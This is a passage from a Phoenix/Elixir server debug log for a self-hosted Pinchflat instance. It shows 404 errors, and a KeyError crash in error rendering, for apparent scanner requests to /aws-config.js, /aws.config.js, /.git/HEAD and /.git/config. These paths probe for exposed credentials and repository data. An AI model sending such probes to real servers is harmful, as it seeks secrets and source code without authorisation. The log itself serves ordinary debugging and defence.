s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.452 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:55.452 [error] #PID<0.7755.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 16) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /aws-config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7755.0>, params: %{}, path_info: ["aws-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/aws-config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYZBpadHOO0kAA1wB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7755.0>, params: %{}, path_info: ["aws-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real- (truncated) 04:06:55.608 [info] GET /aws.config.js 04:06:55.609 [debug] QUERY OK source="settings" db=0.1ms idle=341.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.609 [debug] QUERY OK source="settings" db=0.1ms idle=274.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.609 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:55.609 [error] #PID<0.7756.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 17) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /aws.config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7756.0>, params: %{}, path_info: ["aws.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/aws.config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYZnJJtJpIOwAA1yB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7756.0>, params: %{}, path_info: ["aws.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/aws.config.js", (truncated) 04:06:55.730 [info] GET /.git/HEAD 04:06:55.731 [debug] QUERY OK source="settings" db=0.1ms idle=396.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.731 [debug] QUERY OK source="settings" db=0.0ms idle=279.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.731 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:55.731 [error] #PID<0.7757.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 18) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7757.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYaERZmSpRF8AA10B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7757.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/HEAD", resp_body: nil, (truncated) 04:06:55.846 [info] GET /.git/config 04:06:55.846 [debug] QUERY OK source="settings" db=0.1ms idle=394.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.847 [debug] QUERY OK source="settings" db=0.0ms idle=237.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:55.847 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:55.847 [error] #PID<0.7758.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 19) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7758.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYaf2maFtghQAA12B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7758.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", 